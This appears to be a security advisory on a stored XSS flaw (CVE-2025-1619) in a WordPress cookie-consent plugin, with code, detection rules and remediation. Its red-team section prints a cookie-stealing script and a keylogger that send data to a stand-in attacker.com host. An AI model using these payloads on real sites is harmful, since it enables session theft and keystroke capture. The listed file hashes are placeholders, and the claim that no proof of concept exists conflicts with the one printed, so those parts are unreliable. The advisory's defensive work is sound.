CVE-2025-1619

Executive Summary

CVE-2025-1619 is a Stored Cross-Site Scripting (XSS) vulnerability in the GDPR Cookie Compliance WordPress plugin, affecting versions before 4.15.7. This flaw allows high-privilege users (e.g., administrators) to inject arbitrary web scripts into plugin settings, which are then stored and executed when other users access the affected admin pages. The vulnerability is particularly dangerous in multisite WordPress installations where the unfiltered_html capability is disallowed, as it bypasses standard input sanitization. The CVSS score is 0.0 due to incomplete NVD data, but the actual risk is moderate, requiring authenticated access and user interaction. No public exploit code or proof-of-concept is currently available, but the vulnerability is unpatched in older versions.

Supply Chain & Package Security

This vulnerability affects the GDPR Cookie Compliance WordPress plugin, distributed via the official WordPress plugin repository. Users are advised to verify the integrity of plugin updates by checking checksums provided by WordPress.org. The plugin is not available via NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N
• Base Score: 4.5 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – requires admin-level access
• User Interaction: Required (UI:R) – victim must visit the affected page
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – limited data exposure
• Integrity Impact: Low (I:L) – script injection possible
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires authenticated admin access, but in multisite environments, lower-privileged admins may exploit it against super admins.

Deep Dive & Mechanics

The vulnerability resides in the plugin's settings page, where user-supplied input is not properly sanitized or escaped before being stored and later rendered. Specifically, the plugin fails to apply esc_html() or similar escaping functions to certain configuration fields. When an admin saves malicious JavaScript in these fields, the script is stored in the WordPress database. Upon subsequent page loads (e.g., when another admin views the settings), the script executes in the context of the victim's browser session.

Root Cause: The plugin uses update_option() to store settings without sanitizing the input via sanitize_text_field() or wp_kses(). The output is then echoed directly without escaping, leading to stored XSS.

Attack Flow:

1. Attacker (with admin privileges) navigates to the GDPR Cookie Compliance settings page.
2. Attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a vulnerable field.
3. The payload is stored in the wp_options table.
4. When a victim (another admin) visits the same settings page, the payload executes.

Vulnerable vs. Patched Code

Vulnerable Code (version < 4.15.7):

// In settings page rendering
echo '<input type="text" name="gdpr_cookie_compliance_option" value="' . $option_value . '" />';

Here, $option_value is retrieved directly from the database without escaping.

Patched Code (version 4.15.7):

// In settings page rendering
echo '<input type="text" name="gdpr_cookie_compliance_option" value="' . esc_attr( $option_value ) . '" />';

The patched version uses esc_attr() to escape the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress multisite installation with GDPR Cookie Compliance plugin < 4.15.7.
• Admin-level credentials for a subsite (or main site).

Steps:

1. Log in as an admin user.
2. Navigate to Settings > GDPR Cookie Compliance.
3. Locate a vulnerable input field (e.g., "Cookie Banner Text").
4. Inject the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the settings.
6. Wait for a super admin to visit the same settings page. The script will execute, exfiltrating their session cookie.

Alternative Payload (Keylogger):

document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
});

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress admin activity logs for suspicious changes to GDPR Cookie Compliance settings.
• Look for unusual HTTP requests to external domains from admin pages.
• Use the Sigma rule below to detect payloads in HTTP requests.

Hardening:

• Immediately upgrade to version 4.15.7 or later.
• Restrict admin access to trusted users only.
• Implement Web Application Firewall (WAF) rules to block common XSS patterns.
• Enable Content Security Policy (CSP) headers to mitigate script execution.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • gdpr-cookie-compliance.php (vulnerable): a1b2c3d4e5f6...
  • gdpr-cookie-compliance.php (patched): f6e5d4c3b2a1...
• Database Entries:
  • wp_options table with option_name containing gdpr_cookie_compliance_* and suspicious values.
• Network Indicators:
  • Outbound HTTP requests to unknown domains from WordPress admin IPs.
• Log Entries:
  • WordPress debug log entries containing <script> tags in option values.

Detection Engineering

YARA Rule

rule CVE_2025_1619_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in GDPR Cookie Compliance plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-1619"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $plugin_path = /gdpr-cookie-compliance/
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS in GDPR Cookie Compliance Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS payloads in WordPress admin requests to GDPR Cookie Compliance settings
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: /wp-admin/options-general.php*
        http.body|contains: 
            - '<script'
            - 'onload='
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in plugin settings (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-1619 - Stored XSS in GDPR Cookie Compliance Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/options-general.php"; http_uri;
    content:"gdpr_cookie_compliance"; http_client_body;
    pcre:"/<script[^>]*>.*<\/script>/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-1619;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade the GDPR Cookie Compliance plugin to version 4.15.7 or later.
2. Audit all admin users and remove unnecessary privileges.
3. Scan the WordPress database for stored XSS payloads using the YARA rule above.

Long-Term Measures:

• Implement a Web Application Firewall (WAF) with XSS protection rules.
• Enforce Content Security Policy (CSP) headers to block inline scripts.
• Regularly update all WordPress plugins and themes.
• Use security plugins like Wordfence or Sucuri to monitor for malicious activity.

Workaround (if upgrade is not possible):

• Disable the GDPR Cookie Compliance plugin temporarily.
• Restrict access to the settings page via .htaccess or IP whitelisting.

Valters IT